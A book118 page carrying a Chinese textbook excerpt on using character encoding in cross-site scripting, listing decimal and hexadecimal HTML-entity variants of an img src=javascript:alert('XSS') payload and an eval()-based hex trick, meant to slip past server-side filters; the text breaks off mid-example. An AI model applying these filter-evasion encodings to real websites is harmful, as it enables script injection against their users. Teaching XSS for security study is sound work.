利用字符编码.pdf

  1. 1、本文档共5页,可阅读全部内容。
  2. 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
利用字符编码

1.5.2 利用字符编码 字符编码在跨站脚本中经常运用到,透过这种技巧,不仅能让XSS 代码绕过服务端的过滤, 还能更好地隐藏Shellcode 。 如前文所述,HTML 标签中的某些属性值可以使用#ASCII 方式进行编码改写,这种XSS 转码支持十进制和十六进制形式。 为了方便测试,我们接下来使用一个 XSS 编码工具,以便对字符串进行十进制和十六进制 的编码解码,该工具还可以实现ESCAPE 转码和解码,如图 1-41 所示。 以“img src=javascript:alert(XSS); ”为例,它的属性值为: javascript:alert(XSS); 进行十进制转码(# )后得到: #106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#39 #88#83#83#39#41#59 完整的XSS Expliot 如下: img src=#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#4 0#39#88#83#83#39#41#59 把以上代码保存在一个HTML 文档中,使用浏览器打开,脚本代码执行完成,如图 1-42 所 示。 ▲图1-41 XSS 编码工具 ▲图1-42 对XSS 代码进行编码 还可以在每个十进制字符后加上;,或者采用 #0 、#00、#000、#0000、#0; 、#00; 、 #000; 、#0000; 等形式,如下所示: img src=#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;#58;#97;#108;#101 ;#114;#116;#40;#39;#88;#83;#83;#39;#41;#59; img src=#0106;#097;#0118;#097;#0115;#099;#0114;#0105;#0112;#0116;#058;#097 ;#0108;#0101;#0114;#0116;#040;#039;#088;#083;#083;#039;#041;059; img src=#0000106#000097#0000118#000097#0000115#000099#0000114#0000105# 0000112#0000116#000058#000097#0000108#0000101#0000114#0000116#000040#00003 9#000088#000083#000083#000039#000041#000059 类似地,也能采用十六进制编码形式: img src=#x6a#x61#x76#x61#x73#x63#x72#x69#x70#x74#x3a#x61#x6c#x65#x72#x 74#x28#x27#x58#x53#x53#x27#x29#x3b img src=#x6a;#x61;#x76;#x61;#x73;#x63;#x72;#x69;#x70;#x74;#x3a;#x61;# x6c;#x65;#x72;#x74;#x28;#x27;#x58;#x53;#x53;#x27;#x29;#x3b; img src=#x00006a#x000061#x000076#x000061#x000073#x000063#x000072#x000069# x000070#x000074#x00003a#x000061#x00006c#x000065#x000072#x000074#x000028#x0 00027#x000058#x000053#x000053#x000027#x000029#x00003b 另外,在 JavaScript 中有一个 eval()函数,该函数可计算字符串,并执行其中的 JavaScript 代码,如下所示: script eval(alert(XSS)); /script 我们可以使用\连接十六进制字符串,然后使用 eval() 函数执行十六进制字符串形式的脚本, 如对alert(XSS)进行十六进制转码后得到: \6

文档评论(0)

xxj1658888 + 关注
实名认证
内容提供者

教师资格证持证人

该用户很懒,什么也没介绍

领域认证该用户于2024年04月12日上传了教师资格证

1亿VIP精品文档

相关文档